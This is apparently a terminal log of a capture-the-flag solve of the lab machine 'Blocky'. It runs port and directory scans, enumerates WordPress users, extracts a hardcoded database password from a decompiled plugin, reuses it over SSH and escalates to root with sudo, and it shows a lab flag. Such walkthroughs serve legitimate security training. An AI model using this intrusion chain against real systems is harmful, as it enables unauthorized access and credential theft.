Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-14 10:54 CET
  Nmap scan report for 10.10.10.37
  Host is up (0.085s latency).
  Not shown: 996 filtered ports
  PORT     STATE  SERVICE VERSION
  21/tcp   open   ftp     ProFTPD 1.3.5a
  22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
  |   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
  |_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
  80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-generator: WordPress 4.8
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: BlockyCraft – Under Construction!
  8192/tcp closed sophos
  Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds

$ ./dirsearch.py -u 10.10.10.37 -e * 
[08:44:06] 301 -    0B  - /index.php  ->  http://10.10.10.37/                                            
[08:44:09] 301 -  315B  - /javascript  ->  http://10.10.10.37/javascript/
[08:44:13] 200 -   19KB - /license.txt               
[08:44:37] 301 -  315B  - /phpmyadmin  ->  http://10.10.10.37/phpmyadmin/
[08:44:41] 200 -   10KB - /phpmyadmin/               
[08:44:42] 301 -  312B  - /plugins  ->  http://10.10.10.37/plugins/
[08:44:46] 200 -    7KB - /readme.html               
[08:44:52] 403 -  299B  - /server-status             
[08:44:52] 403 -  300B  - /server-status/
[08:45:21] 200 -  380B  - /wiki/
[08:45:21] 301 -  313B  - /wp-admin  ->  http://10.10.10.37/wp-admin/
[08:45:21] 301 -  309B  - /wiki  ->  http://10.10.10.37/wiki/
[08:45:21] 302 -    0B  - /wp-admin/  ->  http://10.10.10.37/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.37%2Fwp-admin%2F&reauth=1
[08:45:22] 200 -    1KB - /wp-admin/install.php
[08:45:22] 500 -    4KB - /wp-admin/setup-config.php
[08:45:22] 200 -    0B  - /wp-content/
[08:45:22] 301 -  315B  - /wp-content  ->  http://10.10.10.37/wp-content/
[08:45:23] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[08:45:23] 200 -  965B  - /wp-content/uploads/
[08:45:23] 301 -  316B  - /wp-includes  ->  http://10.10.10.37/wp-includes/
[08:45:23] 500 -    0B  - /wp-includes/rss-functions.php
[08:45:23] 200 -    2KB - /wp-login.php
[08:45:23] 200 -   40KB - /wp-includes/
[08:45:24] 405 -   42B  - /xmlrpc.php                
 
Task Completed

[i] User(s) Identified:

[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Notch
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPVulnDB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 47

$ jad BlockyCore.class
Parsing BlockyCore.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)
Generating BlockyCore.jad

$ cat BlockyCore.jad
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   BlockyCore.java                                                                                                                                     
package com.myfirstplugin;
public class BlockyCore
{
    public BlockyCore()
    {
        sqlHost = "localhost";
        sqlUser = "root";
        sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
    }

    public void onServerStart()
    {
    }

    public void onServerStop()
    {
    }

    public void onPlayerJoin()
    {
        sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!");
    }

    public void sendMessage(String s, String s1)
    {
    }

    public String sqlHost;
    public String sqlUser;
    public String sqlPass;
}

$ ssh notch@10.10.10.37
notch@10.10.10.37's password:                                                         Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)                     

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Tue Jul 25 11:14:53 2017 from 10.10.14.230
notch@Blocky:~$ id
uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
notch@Blocky:~$ ls
minecraft  user.txt
notch@Blocky:~$ cat user.txt 
59fee0977fb60b8a0bc6e41e751f3cd5

notch@Blocky:~$ cat .bash_history 
sudo su
cat .bash_history 
echo "" > .bash_history 
exit
poweroff
sudo poweroff
notch@Blocky:~$ sudo -l
[sudo] password for notch: 
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky: 
    (ALL : ALL) ALL

notch@Blocky:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied
notch@Blocky:~$ sudo su
root@Blocky:/home/notch# cat /root/root.txt